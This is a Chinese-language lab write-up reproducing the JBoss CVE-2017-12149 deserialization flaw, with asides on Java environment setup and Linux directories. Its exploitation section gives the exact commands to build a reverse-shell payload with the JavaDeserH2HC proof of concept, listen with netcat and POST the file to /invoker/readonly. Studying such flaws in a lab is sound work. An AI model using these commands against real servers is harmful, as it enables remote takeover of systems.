中間件安全----JBoss漏洞復現

JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

該漏洞爲 Java反序列化錯誤類型,存在於 Jboss 的 HttpInvoker 組件中的 ReadOnlyAccessFilter 過濾器中。該過濾器在沒有進行任何安全檢查的情況下嘗試將來自客戶端的數據流進行反序列化,從而導致了漏洞。

漏洞分析

攻擊機:kali(java環境)
靶機:ubantu–docker

  • 順便記一下如何配置Java環境:

首先當然是去官網下載好基於Linux的java包,然後跟着下圖一把梭沒毛病
在這裏插入圖片描述

安裝之前執行 gedit ~/.bashrc , 並添加下列內容

# install JAVA JDK
export JAVA_HOME=/opt/jdk1.8.0_91
export CLASSPATH=.:${JAVA_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH
保存退出
執行 source ~/.bashrc

linux系統/opt目錄和/usr/local目錄有什麼區別

一、opt目錄

/opt目錄用來安裝附加軟件包,是用戶級的程序目錄,可以理解爲D:/Software。安裝到/opt目錄下的程序,它所有的數據、庫文件等等都是放在同個目錄下面。opt有可選的意思,這裏可以用於放置第三方大型軟件(或遊戲),當你不需要時,直接rm -rf掉即可。在硬盤容量不夠時,也可將/opt單獨掛載到其他磁盤上使用。

二、/usr/local目錄

/usr:系統級的目錄,可以理解爲C:/Windows/。
/usr/lib:理解爲C:/Windows/System32。
/usr/local:用戶級的程序目錄,可以理解爲C:/Progrem Files/。用戶自己編譯的軟件默認會安裝到這個目錄下。
這裏主要存放那些手動安裝的軟件,即不是通過“新立得”或apt-get安裝的軟件。它和/usr目錄具有相類似的目錄結構。讓軟件包管理器來管理/usr目錄,而把自定義的腳本(scripts)放到/usr/local目錄下面。

bashrc 和 profile 的區別

----profile
其實看名字就能瞭解大概了, profile 是某個用戶唯一的用來設置環境變量的地方, 因爲用戶可以有多個 shell 比如 bash, sh, zsh 之類的, 但像環境變量這種其實只需要在統一的一個地方初始化就可以了, 而這就是 profile.

----bashrc
bashrc 也是看名字就知道, 是專門用來給 bash 做初始化的比如用來初始化 bash 的設置, bash 的代碼補全, bash 的別名, bash 的顏色. 以此類推也就還會有 shrc, zshrc 這樣的文件存在了, 只是 bash 太常用了而已.

該漏洞出現在/invoker/readonly請求中,服務器將用戶提交的POST內容進行了Java反序列化,這裏攻擊者就可以構造序列化文件,使得反序列化後的文件可以完成對服務器的控制。

漏洞復現

攻擊者只需要構造帶有需要執行Payload的ser文件,ser文件時java通過序列化之後的文件,然後使用curl將二進制文件提交至目標服務器的invoker/readonly頁面中:

JavaDeserH2HC工具

https://github.com/joaomatosf/JavaDeserH2HC ,首先下載好poc。

在這裏插入圖片描述

  1. javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java----編譯其java文件
  2. java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.11.129:2333----設置好反彈shell和端口
  3. 新建終端使用kali監聽2333端口----nc -lnvp 2333
  4. 將ser文件通過curl上傳----curl http://192.168.11.147:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
  5. 可惜我找不到那個表情包了----kali這裏反彈shell成功如圖

在這裏插入圖片描述

ysoserial

原理是一樣的,這裏在bash反彈的時候需要base64編碼即可;

除了這些網上也有一些基於圖形化界面的工具也方便的很。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章